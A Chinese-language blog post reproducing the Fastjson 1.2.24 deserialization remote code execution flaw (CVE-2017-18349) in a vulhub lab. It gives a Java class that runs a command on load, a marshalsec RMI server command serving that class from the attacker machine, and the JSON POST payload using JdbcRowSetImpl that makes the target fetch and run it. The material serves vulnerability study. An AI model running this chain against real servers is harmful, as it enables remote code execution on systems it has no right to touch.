怎么分析Fastjson 1.2.24-rce漏洞(CVE-2017-18349)复现

这篇文章将为大家详细讲解有关怎么分析Fastjson 1.2.24-rce漏洞(CVE-2017-18349)复现,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

JSON,全称:JavaScript Object Notation,作为一个常见的轻量级的数据交换格式,应该在一个程序员的开发生涯中是常接触的。简洁和清晰的层次结构使得 JSON 成为理想的数据交换语言。 易于人阅读和编写,同时也易于机器解析和生成,并有效地提升网络传输效率。

漏洞影响范围:fastjson<=1.2.24

下面仅作漏洞复现记录与实现,利用流程如下:

一、漏洞环境搭建

本文漏洞环境采用vulhub搭建,执行以下命令开启环境

cd /vulhub/fastjson/1.2.24-rce/

docker-compose up -d

执行完毕后访问8090端口,访问如下:

怎么分析Fastjson 1.2.24-rce漏洞(CVE-2017-18349)复现

漏洞链接:http://192.168.101.152:8090/

攻击机IP:192.168.101.131

二、漏洞复现

首先将exp进行编译,将以下内容保存为TouchFile.java

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
  static {
      try {
          Runtime rt = Runtime.getRuntime();
          String[] commands = {"ping", "test.3ztjrz.dnslog.cn"};
          Process pc = rt.exec(commands);
          pc.waitFor();
      } catch (Exception e) {
          // do nothing
      }
  }
}

怎么分析Fastjson 1.2.24-rce漏洞(CVE-2017-18349)复现

之后使用javac编译为class文件,最好是用低版本的java编译,高版本可能利用不了,这里使用的是1.8版本

怎么分析Fastjson 1.2.24-rce漏洞(CVE-2017-18349)复现

编译完成后会得到一个TouchFile.class文件,然后在同目录下用python开启http服务,执行以下命令

python -m http.server 8000

怎么分析Fastjson 1.2.24-rce漏洞(CVE-2017-18349)复现

然后借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class,执行以下命令

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.101.131:8000/#TouchFile" 9999

怎么分析Fastjson 1.2.24-rce漏洞(CVE-2017-18349)复现

之后使用burp发送特定poc数据包

POST / HTTP/1.1
Host: 192.168.101.152:8090
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8



{
  "b":{
      "@type":"com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName":"rmi://192.168.101.131:9999/TouchFile",
      "autoCommit":true
  }
}

怎么分析Fastjson 1.2.24-rce漏洞(CVE-2017-18349)复现

稍等一下可以可以看到访问152机子的请求

怎么分析Fastjson 1.2.24-rce漏洞(CVE-2017-18349)复现

怎么分析Fastjson 1.2.24-rce漏洞(CVE-2017-18349)复现

过一会儿就可以看到dnslog收到了请求

怎么分析Fastjson 1.2.24-rce漏洞(CVE-2017-18349)复现

命令执行成功

关于怎么分析Fastjson 1.2.24-rce漏洞(CVE-2017-18349)复现就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

原创文章,作者:kepupublish,如若转载,请注明出处:https://blog.ytso.com/tech/safety/222689.html

(0)
上一篇 2022年1月6日 17:04
下一篇 2022年1月6日 17:04

相关推荐

发表回复

登录后才能评论